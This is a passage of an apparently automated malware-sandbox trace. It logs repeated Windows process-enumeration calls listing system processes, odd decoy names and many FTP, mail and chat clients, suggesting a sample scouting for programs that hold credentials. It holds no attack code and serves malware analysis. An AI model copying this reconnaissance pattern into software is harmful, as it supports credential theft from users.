[0235.617] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0235.621] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0235.623] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0235.625] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0235.627] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0235.630] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0235.632] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0235.634] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0235.637] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0235.639] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0235.641] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0235.644] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0235.646] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0235.648] CloseHandle (hObject=0x13b0) returned 1 [0235.648] Sleep (dwMilliseconds=0x64) [0235.693] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0235.707] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0235.709] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0235.711] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0235.713] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0235.714] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0235.716] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0235.717] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0235.719] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0235.720] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0235.722] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.724] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.725] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0235.727] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.728] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.729] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.731] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.732] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.734] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.736] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.788] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0235.790] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0235.791] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0235.793] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.795] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0235.796] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0235.798] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0235.799] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0235.801] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.803] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0235.804] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0235.806] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0235.807] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0235.808] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0235.810] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0235.811] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0235.813] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0235.814] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0235.816] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0235.817] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0235.818] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0235.820] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0235.821] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0235.822] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0235.824] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0235.825] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0235.827] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0235.829] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0235.830] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0235.887] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0235.889] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0235.892] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0235.941] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0235.943] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0235.946] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0235.948] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0235.950] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0235.952] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0235.954] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0235.957] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0235.959] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0235.962] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0235.964] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0235.967] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0235.969] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0236.023] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0236.026] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0236.028] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0236.030] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0236.032] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0236.034] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0236.036] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, 